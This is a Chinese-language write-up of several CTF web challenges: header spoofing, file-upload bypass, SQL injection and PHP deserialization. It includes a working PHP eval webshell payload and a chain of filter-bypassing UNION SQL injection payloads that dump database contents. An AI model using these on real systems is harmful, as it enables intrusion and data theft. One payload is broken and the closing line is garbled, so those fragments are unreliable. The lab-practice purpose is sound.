11.[极客大挑战 2019]Http
进入环境,一个网站
查看网页源代码,发现Secret.php
访问跳转,说来源不对
猜测修改referer头,burp抓包添加发一下
思路正确,叫我们继续修改浏览器
思路正确,提示我们用X-Forwarded-For伪造本地访问
最后成功拿到flag
12.[极客大挑战 2019]Upload
进入环境,是一个文件上传
先直接抓包,看是不是前端绕过,发现不是
http://307a8588-d1da-4fcd-854e-51bd16650ff2.node5.buuoj.cn:81/upload_file.php
然后从上传失败页面知道是php解析,常见后缀绕过:php,php3,php4,php5,phtml.pht
然后测试后发现phtml可以,当然尝试之后还要修改Content-Type头
一般图片绕过还可以加上GIF89a绕过php文件头检测
payload:
GIF89a
<script language='php'>@eval($_POST[shell]);</script>
最后上传成功,访问upload是目录,找到文件,打开新链接,蚁剑连接就行
纯php是不行的,还有正则检验<?的
最后找到flag
13.[极客大挑战 2019]Knife
进入环境,是一个php的一句话木马
直接连接一下,看能不能成功
直接连接成功了,然后找到flag
14.[ACTF2020 新生赛]Upload
进入环境,发现是文件上传
直接上传会弹窗,猜测是前端检测
直接burp先上传正常图片,然后直接发包绕过前端限制
正常图片上传成功,并返回路径
抓包修改再发送,成功上传
访问发现解析失败,还得绕过文件后缀名
尝试后发现phtml成功绕过
payload:
《
看页面应该是解析成功了,蚁剑连接一下
连接成功,并拿到flag
15.[极客大挑战 2019]BabySQL
进入环境,登录框,尝试后发现单引号报错
可知是单引号闭合,重新注入一下
payload=admin" order by 1#
探测一下列数
发现过滤了: or , by
双写尝试绕过一下,payload=ad' oorrder bbyy 1#
发现正常回显,然后一直增到到4,报错,确定有三列
然后猜测一些关键词都被过滤了,看一下都有什么被过滤了
确定后有:or, by , select , union ,from, information , where
确定有三列,先获取当前数据库
payload=ad' ununionion seselectlect 1,2,database()#
当前数据库geek
然后获取表
payload=ad' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#有两个表:b4bsql,geekuser
分别查看两个表的字段:
payload1=ad' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
payload2=ad' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#
然后发现都没有flag字段,看一下其他数据库
payload=ad' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #1
发现有ctf数据库
查看ctf数据库表
payload=ad' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
发现有Flag表,查看字段
payload=ad' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#
发现有flag字段
然后查看字段内容
payload=ad' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#
拿到flag
16.[极客大挑战 2019]PHP
进入环境,提示我们有备份文件,用drisearch扫一下
扫到一个www.zip文件,下载下来
然后解压里面文件,在index.php里发现传递select参数,该参数会被序列化
然后从class.php知道我们要反序列化参数password=100,username=admin,才能得到flag
b4bs标ql,geekserb4bsql,geekuserb4bsql,geekuseb4bsql,geekuserr